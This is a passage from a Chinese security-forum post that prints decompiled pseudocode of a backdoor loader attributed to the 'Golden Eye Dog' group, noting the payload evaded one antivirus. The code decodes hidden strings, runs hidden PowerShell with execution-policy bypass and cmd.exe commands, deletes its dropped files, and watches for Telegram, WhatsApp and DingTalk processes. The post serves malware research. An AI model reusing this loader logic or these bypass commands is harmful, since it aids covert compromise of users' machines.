  166.   v78[3] = 1592553370;
  167.   v78[4] = -368785788;
  168.   v78[5] = -907852774;
  169.   v78[6] = -1300677933;
  170.   v78[7] = -1084290219;
  171.   v78[8] = -474724335;
  172.   v78[9] = 997789716;
  173.   v78[10] = -258581055;
  174.   v78[11] = -1833404942;
  175.   v78[12] = 759585141;
  176.   v78[13] = 69605574;
  177.   v78[14] = 2018275499;
  178.   v78[15] = -59178007;
  179.   v78[16] = -1340583082;
  180.   v78[17] = -386708047;
  181.   v78[18] = 1880823184;
  182.   v78[19] = 380173130;
  183.   v78[20] = 1209736891;
  184.   v78[21] = -877067723;
  185.   v78[22] = -1335458919;
  186.   v78[23] = 1163130830;
  187.   v78[24] = 1815776550;
  188.   v78[25] = 632179240;
  189.   v78[26] = 2040935726;
  190.   v78[27] = 863051308;
  191.   v78[28] = 1757324386;
  192.   v78[29] = 1698288373;
  193.   v78[30] = -1899173112;
  194.   v78[31] = 842243767;
  195.   v78[32] = -93640528;
  196.   v78[33] = -454809952;
  197.   v78[34] = -259695730;
  198.   v78[35] = -5703455;
  199.   v78[36] = -1880476961;
  200.   v78[37] = 1338991557;
  201.   v78[38] = -570741886;
  202.   v78[39] = -442279480;
  203.   v78[40] = 1507823518;
  204.   v78[41] = -737627727;
  205.   v78[42] = -560293445;
  206.   v78[43] = 1854427432;
  207.   v78[44] = -351033850;
  208.   v78[45] = -1701715031;
  209.   v78[46] = -835948352;
  210.   v78[47] = 2028790189;
  211.   v78[48] = 342129121;
  212.   v78[49] = -1929854752;
  213.   v78[50] = 1626384241;
  214.   v78[51] = -2093182953;
  215.   v78[52] = -990454334;
  216.   v78[53] = 1062672314;
  217.   v78[54] = 761742592;
  218.   v78[55] = -2125028747;
  219.   v78[56] = 551232118;
  220.   v78[57] = 1159355314;
  221.   v78[58] = 761587871;
  222.   v78[59] = 623591967;
  223.   v78[60] = 1905860108;
  224.   v78[61] = 657119759;
  225.   v78[62] = 1931391461;
  226.   v78[63] = -2041113452;
  227.   v78[64] = -518557417;
  228.   v78[65] = -1594532736;
  229.   v78[66] = -1710758189;
  230.   v78[67] = -1526513841;
  231.   v78[68] = -1375140697;
  232.   v78[69] = -31909772;
  233.   v78[70] = 1304528991;
  234.   v78[71] = 453986145;
  235.   v78[72] = -838921823;
  236.   v78[73] = -133488348;
  237.   v78[74] = -194300021;
  238.   v78[75] = -141437771;
  239.   v78[76] = 9489059;
  240.   v78[77] = -1743801268;
  241.   v78[78] = 21032;
  242.   sub_10002DC5(v78, v79, &v48);
  243.   v9 = (_DWORD *)sub_10007E62(v48, v49);
  244.   LOBYTE(v105) = 11;
  245.   if ( v9[5] > 0xFu )
  246.     v9 = (_DWORD *)*v9;
  247.   sub_10003996(v63, v9);
  248.   LOBYTE(v105) = 13;
  249.   sub_10003EAC(FileName);
  250.   qmemcpy(v52, &unk_1002C7F0, sizeof(v52));
  251.   sub_10002DC5(v52, &v53, &v48);
  252.   v10 = (_DWORD *)sub_10007E62(v48, v49);
  253.   LOBYTE(v105) = 14;
  254.   if ( v10[5] > 0xFu )
  255.     v10 = (_DWORD *)*v10;
  256.   sub_10003996(v64, v10);
  257.   sub_10003EAC(v73);
  258.   memset(v69, 0, 20);
  259.   v69[5] = 15;
  260.   memset(v70, 0, 20);
  261.   v70[5] = 15;
  262.   LOBYTE(v105) = 19;
  263.   v11 = sub_10004972(FileName, v63);
  264.   sub_10007305(v11);
  265.   sub_10003EAC(FileName);
  266.   v12 = sub_10004972(FileName, v64);
  267.   sub_10007305(v12);
  268.   sub_10003EAC(FileName);
  269.   v105 = 18;
  270.   sub_10004C73(Src, 28);
  271.   LOBYTE(v105) = 21;
  272.   v84 = -791622700;
  273.   v85 = -37040462;
  274.   sub_10002DC5(&v84, v86, &v84);
  275.   LOBYTE(v105) = 22;
  276.   sub_10004BF4(v54, v93);
  277.   LOBYTE(v105) = 24;
  278.   sub_10002DA2(v93);
  279.   v50 = v62;
  280.   sub_10003A05(v69);
  281.   sub_10004AB2(v36, v39, v42, v45, (int)v48, v49, v50);
  282.   LOBYTE(v105) = 25;
  283.   qmemcpy(v103, "\\PolicyManagement.xml", 21);
  284.   sub_10002DC5(v103, &v103[21], v50);
  285.   LOBYTE(v105) = 26;
  286.   v13 = sub_10004BF4(v73, v93);
  287.   LOBYTE(v105) = 27;
  288.   v14 = Src;
  289.   v50 = (char *)Src[4];
  290.   if ( Src[5] > (void *)0xF )
  291.     v14 = (void **)Src[0];
  292.   v15 = sub_10007ACB(v13, (int)v14, v14, (size_t)v50);
  293.   sub_1000395D(v15);
  294.   sub_10003EAC(v73);
  295.   LOBYTE(v105) = 30;
  296.   sub_10002DA2(v93);
  297.   v16 = (const CHAR *)lpFileName;
  298.   if ( v75 > 0xF )
  299.     v16 = lpFileName[0];
  300.   DeleteFileA(v16);
  301.   v17 = lpFileName;
  302.   if ( v75 > 0xF )
  303.     v17 = (LPCSTR *)lpFileName[0];
  304.   sub_10003996(FileName, v17);
  305.   LOBYTE(v105) = 31;
  306.   sub_10004B3F(FileName, v55);
  307.   LOBYTE(v105) = 30;
  308.   sub_10003EAC(FileName);
  309.   Sleep(0xC8u);
  310.   v18 = lpFileName;
  311.   if ( v75 > 0xF )
  312.     v18 = (LPCSTR *)lpFileName[0];
  313.   sub_10003996(FileName, v18);
  314.   LOBYTE(v105) = 32;
  315.   v84 = -1035186856;
  316.   LOWORD(v85) = -16713;
  317.   BYTE2(v85) = -74;
  318.   sub_10002DC5(&v84, (char *)&v85 + 3, &v84);
  319.   LOBYTE(v105) = 33;
  320.   sub_10004BF4(&v86[20], v72);
  321.   LOBYTE(v105) = 34;
  322.   v50 = FileName;
  323.   sub_10003A05(v70);
  324.   sub_10004AB2(v37, v40, v43, v46, (int)v48, v49, v50);
  325.   sub_10003EAC(&v86[20]);
  326.   sub_10002DA2(v72);
  327.   LOBYTE(v105) = 38;
  328.   sub_10003EAC(FileName);
  329.   v19 = v66;
  330.   if ( v66[5] > (void *)0xF )
  331.     v19 = (void **)v66[0];
  332.   sub_10003996(FileName, v19);
  333.   LOBYTE(v105) = 39;
  334.   *(_DWORD *)&v93[4] = -238104888;
  335.   *(_DWORD *)&v93[8] = -961283133;
  336.   sub_10002DC5(&v93[4], v94, &v93[4]);
  337.   LOBYTE(v105) = 40;
  338.   sub_10004BF4(v65, &v103[12]);
  339.   LOBYTE(v105) = 41;
  340.   v50 = FileName;
  341.   sub_10003A05(v58);
  342.   v20 = sub_10004AB2(v38, v41, v44, v47, (int)v48, v49, v50);
  343.   sub_10007305(v20);
  344.   sub_10003EAC(v73);
  345.   sub_10003EAC(v65);
  346.   sub_10002DA2(&v103[12]);
  347.   LOBYTE(v105) = 38;
  348.   sub_10003EAC(FileName);
  349.   v21 = sub_100042BA(v89, Src, "\");
  350.   LOBYTE(v105) = 42;
  351.   sub_10003ED5(117);
  352.   sub_1000395D(v21);
  353.   LOBYTE(v105) = 43;
  354.   sub_10003ED5(112);
  355.   sub_1000395D(FileName);
  356.   LOBYTE(v105) = 44;
  357.   sub_10003ED5(100);
  358.   sub_1000395D(v73);
  359.   LOBYTE(v105) = 45;
  360.   sub_10003ED5(97);
  361.   sub_1000395D(&v86[20]);
  362.   LOBYTE(v105) = 46;
  363.   sub_10003ED5(116);
  364.   sub_1000395D(v65);
  365.   LOBYTE(v105) = 47;
  366.   sub_10003ED5(101);
  367.   sub_1000395D(v56);
  368.   LOBYTE(v105) = 48;
  369.   sub_10003ED5(100);
  370.   sub_1000395D(v57);
  371.   LOBYTE(v105) = 49;
  372.   sub_10003ED5(46);
  373.   sub_1000395D(v82);
  374.   LOBYTE(v105) = 50;
  375.   sub_10003ED5(112);
  376.   sub_1000395D(v92);
  377.   LOBYTE(v105) = 51;
  378.   sub_10003ED5(115);
  379.   sub_1000395D(v71);
  380.   LOBYTE(v105) = 52;
  381.   sub_10003ED5(49);
  382.   sub_1000395D(v103);
  383.   sub_10003EAC(v103);
  384.   sub_10003EAC(v71);
  385.   sub_10003EAC(v92);
  386.   sub_10003EAC(v82);
  387.   sub_10003EAC(v57);
  388.   sub_10003EAC(v56);
  389.   sub_10003EAC(v65);
  390.   sub_10003EAC(&v86[20]);
  391.   sub_10003EAC(v73);
  392.   sub_10003EAC(FileName);
  393.   LOBYTE(v105) = 64;
  394.   sub_10003EAC(v89);
  395.   v22 = (const CHAR *)v76;
  396.   if ( v77 > 0xF )
  397.     v22 = v76[0];
  398.   DeleteFileA(v22);
  399.   v23 = v76;
  400.   if ( v77 > 0xF )
  401.     v23 = (LPCSTR *)v76[0];
  402.   sub_10003996(FileName, v23);
  403.   LOBYTE(v105) = 65;
  404.   sub_10004B3F(FileName, v58);
  405.   LOBYTE(v105) = 64;
  406.   sub_10003EAC(FileName);
  407.   Sleep(0xC8u);
  408.   qmemcpy(
  409.     v80,
  410.     "powershell -Com""mand "Set-Execut""ionPolicy Unrest""ricted -Scope Curre""ntUser"",
  411.     sizeof(v80));
  412.   sub_10002DC5(v80, v81, v80);
  413.   LOBYTE(v105) = 66;
  414.   v24 = (void *)sub_10004BF4(v73, v72);
  415.   LOBYTE(v105) = 67;
  416.   qmemcpy(v93, "cmd.exe /C ", 11);
  417.   sub_10002DC5(v93, &v93[11], v93);
  418.   LOBYTE(v105) = 68;
  419.   v25 = (void *)sub_10004BF4(FileName, &v103[12]);
  420.   LOBYTE(v105) = 69;
  421.   sub_10007973(v104[0], v25, v24);
  422.   sub_10003EAC(FileName);
  423.   sub_10002DA2(&v103[12]);
  424.   sub_10003EAC(v73);
  425.   LOBYTE(v105) = 74;
  426.   sub_10002DA2(v72);
  427.   v26 = (const CHAR *)lpCmdLine;
  428.   v50 = 0;
  429.   if ( lpCmdLine[5] > (LPCSTR)0xF )
  430.     v26 = lpCmdLine[0];
  431.   WinExec(v26, (UINT)v50);
  432.   Sleep(0x3E8u);
  433.   qmemcpy(v86, "powershell -Exec""utionP""olicy Byp""ass -File ", sizeof(v86));
  434.   sub_10002DC5(v86, &v87, v86);
  435.   LOBYTE(v105) = 75;
  436.   sub_10004BF4(v68, v83);
  437.   LOBYTE(v105) = 77;
  438.   sub_10002DA2(v83);
  439.   v50 = (char *)v104;
  440.   qmemcpy(v104, "/C ", 3);
  441.   v49 = (int)v104 + 3;
  442.   v48 = v104;
  443.   v27 = v76;
  444.   if ( v77 > 0xF )
  445.     v27 = (LPCSTR *)v76[0];
  446.   sub_10002DC5(v48, v49, v50);
  447.   LOBYTE(v105) = 78;
  448.   sub_10004BF4(v89, &v103[12]);
  449.   LOBYTE(v105) = 79;
  450.   v28 = sub_1000393C(v68);
  451.   sub_1000395D(v28);
  452.   LOBYTE(v105) = 80;
  453.   v29 = unknown_libname_7(v27);
  454.   sub_1000395D(v29);
  455.   sub_10007305(FileName);
  456.   sub_10003EAC(FileName);
  457.   sub_10003EAC(v73);
  458.   sub_10003EAC(v89);
  459.   LOBYTE(v105) = 77;
  460.   sub_10002DA2(&v103[12]);
  461.   pExecInfo.cbSize = 60;
  462.   memset(&pExecInfo.fMask, 0, 0x38u);
  463.   pExecInfo.fMask = 64;
  464.   pExecInfo.hwnd = 0;
  465.   v30 = (const CHAR *)v68;
  466.   pExecInfo.lpVerb = "open";
  467.   if ( v68[5] > 0xFu )
  468.     v30 = (const CHAR *)v68[0];
  469.   pExecInfo.lpParameters = v30;
  470.   pExecInfo.lpFile = "cmd.exe";
  471.   pExecInfo.lpDirectory = 0;
  472.   pExecInfo.nShow = 0;
  473.   if ( ShellExecuteExA(&pExecInfo) && pExecInfo.hProcess )
  474.   {
  475.     WaitForSingleObject(pExecInfo.hProcess, 0xFFFFFFFF);
  476.     CloseHandle(pExecInfo.hProcess);
  477.   }
  478.   v31 = lpFileName;
  479.   if ( v75 > 0xF )
  480.     v31 = (LPCSTR *)lpFileName[0];
  481.   sub_10003996(FileName, v31);
  482.   sub_10004E1A(FileName);
  483.   sub_10003EAC(FileName);
  484.   v32 = v76;
  485.   if ( v77 > 0xF )
  486.     v32 = (LPCSTR *)v76[0];
  487.   sub_10003996(FileName, v32);
  488.   sub_10004E1A(FileName);
  489.   sub_10003EAC(FileName);
  490.   v33 = (const CHAR *)lpFileName;
  491.   if ( v75 > 0xF )
  492.     v33 = lpFileName[0];
  493.   DeleteFileA(v33);
  494.   v34 = (const CHAR *)v76;
  495.   if ( v77 > 0xF )
  496.     v34 = v76[0];
  497.   DeleteFileA(v34);
  498.   sub_10003EAC(v68);
  499.   sub_10003EAC(lpCmdLine);
  500.   sub_10003EAC(v76);
  501.   sub_10003EAC(v58);
  502.   sub_10003EAC(lpFileName);
  503.   sub_10003EAC(v55);
  504.   sub_10003EAC(v54);
  505.   sub_10003EAC(Src);
  506.   sub_10003EAC(v70);
  507.   sub_10003EAC(v69);
  508.   sub_10003EAC(v64);
  509.   sub_10003EAC(v63);
  510.   sub_10003EAC(v62);
  511.   sub_10003EAC(v61);
  512.   sub_10003EAC(v66);
  513.   return 0;
  514. }
复制代码
  1. void __userpurge __noreturn sub_10002478(int a1@<ebx>, int a2@<edi>, int a3@<esi>, LPVOID lpThreadParameter)
  2. {
  3.   void **v4; // eax
  4.   void *v5; // esi
  5.   int v6; // eax
  6.   int v7; // esi
  7.   _DWORD *v8; // eax
  8.   LPCSTR *i; // ecx
  9.   HANDLE v10; // eax
  10.   int v11; // esi
  11.   int v12; // eax
  12.   int v13; // esi
  13.   int v14; // esi
  14.   int v15; // eax
  15.   int v16; // esi
  16.   int v17; // esi
  17.   int v18; // eax
  18.   int v19; // esi
  19.   int v20; // esi
  20.   int v21; // eax
  21.   char v22; // al
  22.   unsigned int v23; // eax
  23.   int v24; // ecx
  24.   void **v25; // eax
  25.   void *v26; // edi
  26.   int v27; // eax
  27.   char *v28; // edx
  28.   size_t v29; // ecx
  29.   void **v30; // eax
  30.   int v31; // esi
  31.   int v32; // eax
  32.   const CHAR *v33; // eax
  33.   int v34; // [esp-24h] [ebp-25Ch] BYREF
  34.   int v35; // [esp-20h] [ebp-258h]
  35.   size_t v36; // [esp-1Ch] [ebp-254h]
  36.   int v37; // [esp-18h] [ebp-250h]
  37.   int v38; // [esp-14h] [ebp-24Ch]
  38.   int v39; // [esp+0h] [ebp-238h] BYREF
  39.   char v40[76]; // [esp+4h] [ebp-234h] BYREF
  40.   int v41; // [esp+50h] [ebp-1E8h]
  41.   char v42[72]; // [esp+68h] [ebp-1D0h] BYREF
  42.   char v43[24]; // [esp+B0h] [ebp-188h] BYREF
  43.   char v44[24]; // [esp+C8h] [ebp-170h] BYREF
  44.   char v45; // [esp+E0h] [ebp-158h] BYREF
  45.   CHAR FileName[24]; // [esp+F8h] [ebp-140h] BYREF
  46.   char v47[24]; // [esp+110h] [ebp-128h] BYREF
  47.   char v48[12]; // [esp+128h] [ebp-110h] BYREF
  48.   char v49[12]; // [esp+134h] [ebp-104h] BYREF
  49.   char v50[12]; // [esp+140h] [ebp-F8h] BYREF
  50.   char v51[12]; // [esp+14Ch] [ebp-ECh] BYREF
  51.   char v52[12]; // [esp+158h] [ebp-E0h] BYREF
  52.   LPCSTR lpCmdLine[6]; // [esp+164h] [ebp-D4h] BYREF
  53.   void *Src[4]; // [esp+17Ch] [ebp-BCh] BYREF
  54.   size_t v55; // [esp+18Ch] [ebp-ACh]
  55.   unsigned int v56; // [esp+190h] [ebp-A8h]
  56.   int v57[5]; // [esp+194h] [ebp-A4h] BYREF
  57.   __int16 v58; // [esp+1A8h] [ebp-90h]
  58.   char v59[2]; // [esp+1AAh] [ebp-8Eh] BYREF
  59.   int v60[3]; // [esp+1ACh] [ebp-8Ch] BYREF
  60.   char v61[8]; // [esp+1B8h] [ebp-80h] BYREF
  61.   int v62[4]; // [esp+1C0h] [ebp-78h] BYREF
  62.   char v63[8]; // [esp+1D0h] [ebp-68h] BYREF
  63.   int v64[3]; // [esp+1D8h] [ebp-60h] BYREF
  64.   int v65[3]; // [esp+1E4h] [ebp-54h] BYREF
  65.   int v66[3]; // [esp+1F0h] [ebp-48h] BYREF
  66.   int v67[3]; // [esp+1FCh] [ebp-3Ch] BYREF
  67.   int v68; // [esp+208h] [ebp-30h] BYREF
  68.   int v69[3]; // [esp+20Ch] [ebp-2Ch] BYREF
  69.   __int16 v70; // [esp+218h] [ebp-20h]
  70.   char v71; // [esp+21Ah] [ebp-1Eh]
  71.   char v72[4]; // [esp+21Bh] [ebp-1Dh] BYREF
  72.   char v73; // [esp+21Fh] [ebp-19h]
  73.   int v74; // [esp+220h] [ebp-18h]
  74.   unsigned int v75; // [esp+224h] [ebp-14h]
  75.   int v76; // [esp+234h] [ebp-4h]

  76.   v72[0] = HIBYTE(a1);
  77.   v38 = a3;
  78.   v37 = a2;
  79.   v74 = 0;
  80.   v71 = 0;
  81.   v68 = 863191180;
  82.   v69[0] = -1197450350;
  83.   v69[1] = 293894698;
  84.   v69[2] = -150678747;
  85.   v70 = 48;
  86.   sub_10002DC5(&v68, v72, &v34);
  87.   v4 = (void **)sub_10007E62(v34, v35);
  88.   v5 = v4;
  89.   v76 = 0;
  90.   if ( (unsigned int)v4[5] > 0xF )
  91.     v5 = *v4;
  92.   sub_10004C73(v48, 26);
  93.   LOBYTE(v76) = 1;
  94.   v6 = unknown_libname_7(v5);
  95.   sub_1000395D(v6);
  96.   v7 = 1024;
  97.   sub_10003EAC(v48);
  98.   LOBYTE(v76) = 4;
  99.   sub_10003EAC(v50);
  100.   v60[0] = -1485775190;
  101.   v60[1] = 1982937532;
  102.   v60[2] = 1551876189;
  103.   strcpy(v61, "8笔?I");
  104.   v61[6] = 0;
  105.   sub_10002DC5(v60, &v61[7], &v34);
  106.   v8 = (_DWORD *)sub_10007E62(v34, v35);
  107.   LOBYTE(v76) = 5;
  108.   if ( v8[5] > 0xFu )
  109.     v8 = (_DWORD *)*v8;
  110.   sub_100042BA(FileName, Src, v8);
  111.   LOBYTE(v76) = 7;
  112.   for ( i = (LPCSTR *)&v45; ; i = lpCmdLine )
  113.   {
  114.     sub_10003EAC(i);
  115.     do
  116.     {
  117.       while ( 1 )
  118.       {
  119.         Sleep(0x4E20u);
  120.         v10 = OpenMutexA(0x100000u, 0, "NYIRNWRG");
  121.         if ( !v10 )
  122.           break;
  123.         CloseHandle(v10);
  124.         Sleep(0x3E8u);
  125.       }
  126.       qmemcpy(v67, "Telegram.exe", sizeof(v67));
  127.       sub_10002DC5(v67, &v68, v67);
  128.       LOBYTE(v76) = 8;
  129.       v11 = v7 | 1;
  130.       v74 = v11;
  131.       v12 = sub_10004BF4(v57, v69);
  132.       v76 = 9;
  133.       v13 = v11 | 2;
  134.       v75 = v13;
  135.       v74 = v13;
  136.       if ( (unsigned __int8)sub_100023D7(v12) )
  137.         goto LABEL_14;
  138.       qmemcpy(v66, "telegram.exe", sizeof(v66));
  139.       sub_10002DC5(v66, v67, v66);
  140.       v76 = 10;
  141.       v14 = v13 | 4;
  142.       v74 = v14;
  143.       v15 = sub_10004BF4(v62, v49);
  144.       v76 = 11;
  145.       v16 = v14 | 8;
  146.       v75 = v16;
  147.       v74 = v16;
  148.       if ( (unsigned __int8)sub_100023D7(v15) )
  149.         goto LABEL_14;
  150.       qmemcpy(v65, "WhatsApp.exe", sizeof(v65));
  151.       sub_10002DC5(v65, v66, v65);
  152.       v76 = 12;
  153.       v17 = v16 | 0x10;
  154.       v74 = v17;
  155.       v18 = sub_10004BF4(lpCmdLine, v51);
  156.       v76 = 13;
  157.       v19 = v17 | 0x20;
  158.       v75 = v19;
  159.       v74 = v19;
  160.       if ( (unsigned __int8)sub_100023D7(v18) )
  161.         goto LABEL_14;
  162.       qmemcpy(v64, "DingTalk.exe", sizeof(v64));
  163.       sub_10002DC5(v64, v65, v64);
  164.       v76 = 14;
  165.       v20 = v19 | 0x40;
  166.       v74 = v20;
  167.       v21 = sub_10004BF4(v47, v52);
  168.       v75 = v20 | 0x80;
  169.       if ( (unsigned __int8)sub_100023D7(v21) || (v22 = sub_1000245A(FileName), v73 = 0, v22) )
  170. LABEL_14:
  171.         v73 = 1;
  172.       v23 = v75;
  173.       if ( (v75 & 0x80u) != 0 )
  174.       {
  175.         v75 &= ~0x80u;
  176.         sub_10003EAC(v47);
  177.         v23 = v75;
  178.       }
  179.       if ( (v23 & 0x40) != 0 )
  180.       {
  181.         v75 = v23 & 0xFFFFFFBF;
  182.         sub_10002DA2(v52);
  183.         v23 = v75;
  184.       }
  185.       if ( (v23 & 0x20) != 0 )
  186.       {
  187.         v75 = v23 & 0xFFFFFFDF;
  188.         sub_10003EAC(lpCmdLine);
  189.         v23 = v75;
  190.       }
  191.       if ( (v23 & 0x10) != 0 )
  192.       {
  193.         v75 = v23 & 0xFFFFFFEF;
  194.         sub_10002DA2(v51);
  195.         v23 = v75;
  196.       }
  197.       if ( (v23 & 8) != 0 )
  198.       {
  199.         v75 = v23 & 0xFFFFFFF7;
  200.         sub_10003EAC(v62);
  201.         v23 = v75;
  202.       }
  203.       if ( (v23 & 4) != 0 )
  204.       {
  205.         v75 = v23 & 0xFFFFFFFB;
  206.         sub_10002DA2(v49);
  207.         v23 = v75;
  208.       }
  209.       if ( (v23 & 2) != 0 )
  210.       {
  211.         v75 = v23 & 0xFFFFFFFD;
  212.         sub_10003EAC(v57);
  213.         v23 = v75;
  214.       }
  215.       v76 = 7;
  216.       if ( (v23 & 1) != 0 )
  217.       {
  218.         v75 = v23 & 0xFFFFFFFE;
  219.         sub_10002DA2(v69);
  220.       }
  221.       v7 = v75;
  222.     }
  223.     while ( !v73 );
  224.     if ( !(unsigned __int8)sub_1000245A(FileName) )
  225.     {
  226.       sub_10003825(FileName, 2, v24, v24);
  227.       LOBYTE(v76) = 15;
  228.       if ( v41 && !sub_10003D20(v40) )
  229.         sub_10004061(*(_DWORD *)&v40[*(_DWORD *)(v39 + 4) + 8] | 2, 0);
  230.       LOBYTE(v76) = 7;
  231.       sub_100037E2(v42);
  232.       sub_10003880((struct std::ios_base *)v42);
  233.     }
  234.     Sleep(0x3E8u);
  235.     v57[0] = 1963241086;
  236.     v57[1] = -845664137;
  237.     v57[2] = 327611420;
  238.     v57[3] = -417956722;
  239.     v57[4] = 1676103246;
  240.     v58 = 0;
  241.     sub_10002DC5(v57, v59, &v34);
  242.     v25 = (void **)sub_10007E62(v34, v35);
  243.     v26 = v25;
  244.     LOBYTE(v76) = 16;
  245.     if ( (unsigned int)v25[5] > 0xF )
  246.       v26 = *v25;
  247.     v62[0] = 974435932;
  248.     v62[1] = -790940150;
  249.     v62[2] = 562558479;
  250.     v62[3] = -1391838307;
  251.     strcpy(v63, "GZ馬鏲");
  252.     v63[7] = 0;
  253.     sub_10002DC5(v62, v64, &v34);
  254.     v27 = sub_10007E62(v34, v35);
  255.     v28 = (char *)v27;
  256.     LOBYTE(v76) = 17;
  257.     if ( *(_DWORD *)(v27 + 20) > 0xFu )
  258.       v28 = *(char **)v27;
  259.     v29 = strlen(v28);
  260.     if ( 0x7FFFFFFF - v55 < v29 )
  261.       sub_10001996();
  262.     v36 = v55;
  263.     v30 = Src;
  264.     if ( v56 > 0xF )
  265.       v30 = (void **)Src[0];
  266.     sub_10004797(v47, v74, v29, v28, v29, v30, v36);
  267.     v31 = v75 | 0x200;
  268.     LOBYTE(v76) = 18;
  269.     v32 = unknown_libname_7(v26);
  270.     sub_1000395D(v32);
  271.     v7 = v31 | 0x100;
  272.     sub_10003EAC(v47);
  273.     sub_10003EAC(v44);
  274.     LOBYTE(v76) = 7;
  275.     sub_10003EAC(v43);
  276.     v33 = (const CHAR *)lpCmdLine;
  277.     v36 = 0;
  278.     if ( lpCmdLine[5] > (LPCSTR)0xF )
  279.       v33 = lpCmdLine[0];
  280.     WinExec(v33, v36);
  281.   }
  282. }
复制代码


实际载荷:
金眼狗自写后门。
实际载荷火绒没有查杀。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-1-15 01:04 , Processed in 0.085934 second(s), 4 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表